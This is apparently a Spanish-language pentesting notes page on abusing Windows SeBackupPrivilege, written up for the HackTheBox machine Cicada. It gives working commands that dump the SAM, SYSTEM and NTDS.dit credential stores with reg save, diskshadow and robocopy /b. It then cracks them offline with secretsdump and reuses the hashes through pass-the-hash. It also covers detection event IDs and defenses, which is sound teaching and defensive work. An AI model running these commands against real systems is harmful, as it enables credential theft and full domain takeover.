SeBackupPrivilege
SeBackupPrivilege es un privilegio de Windows pensado para los programas de copia de seguridad: permite leer cualquier fichero del sistema saltándose las ACL, porque un backup tiene que poder copiar archivos a los que su operador no tendría acceso normalmente. Cuando una cuenta no administradora lo tiene activo (se ve con whoami /priv), ese "derecho de lectura total" se convierte en un camino directo a la escalada.
Volcado de SAM/SYSTEM (host normal)
La técnica canónica es copiar las colmenas del registro que guardan las credenciales locales. SeBackupPrivilege deja exportarlas aunque estén protegidas:
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\systemSe descargan ambos ficheros a la máquina atacante y se procesan offline con secretsdump, que usa la colmena SYSTEM (con la bootkey) para descifrar los hashes de SAM:
impacket-secretsdump -sam sam -system system LOCALDe ahí sale el hash NT del Administrador local, que se reutiliza con pass-the-hash (evil-winrm -u Administrator -H <hash>) para entrar como administrador sin conocer la contraseña.
Volcado de NTDS.dit (controlador de dominio)
En un DC el objetivo es NTDS.dit, que está en uso y bloqueado. Como el privilegio permite lectura de backup, se copia con robocopy /b (modo backup) o se saca una shadow copy con diskshadow y se copia desde ahí:
# diskshadow: crea una instantanea de C: montada en E: y copia NTDS + SYSTEM
diskshadow> set context persistent nowriters
diskshadow> add volume c: alias uno
diskshadow> create
diskshadow> expose %uno% e:robocopy /b E:\Windows\NTDS C:\Temp ntds.dit
reg save hklm\system C:\Temp\systemimpacket-secretsdump -ntds ntds.dit -system system LOCAL # o -just-dc-ntlmEso vuelca todos los hashes del dominio, incluido el de Administrator y el de krbtgt (que habilita un Golden Ticket). El módulo SeBackupPrivilegeUtils/SeBackupPrivilegeCmdLets de PowerShell (Copy-FileSeBackupPrivilege) hace lo mismo sin robocopy cuando este falla.
Requisitos
SeBackupPrivilege presente y habilitado en el token (a veces hay que activarlo explícitamente). Para NTDS.dit hace falta además estar en un DC. No requiere ser administrador: ese es justo el punto.
Cómo detectarlo. El uso del privilegio deja un Event ID 4673 (se invocó un servicio privilegiado) o 4674 referenciando SeBackupPrivilege, útil porque casi ninguna herramienta legítima aparte del backup lo ejerce. El reg save de las colmenas genera un 4688 (creación de proceso) con línea de comando reg save hklm\sam/hklm\system y, si hay auditoría de acceso a objetos con SACL sobre esas claves, un 4663 leyendo SAM/SECURITY/SYSTEM. En un DC, la lectura de NTDS.dit o el uso de la shadow copy (diskshadow, esentutl, robocopy /b) para copiarlo son las firmas de mayor gravedad. La clave: correlacionar la posesión del privilegio en una cuenta no-backup con cualquier acceso a esas colmenas.
Defensa. No conceder SeBackupPrivilege a cuentas que no sean de servicios de backup legítimos, segregar esas cuentas y vigilar lecturas de SAM/SYSTEM/NTDS.dit o el uso de reg save/diskshadow/robocopy /b sobre las colmenas. Es primo de otros privilegios abusables (SeRestorePrivilege, SeTakeOwnershipPrivilege) y desemboca en Pass-the-Hash y, en un DC, en el control total del dominio.
Máquinas donde se aplica
- CicadaHackTheBox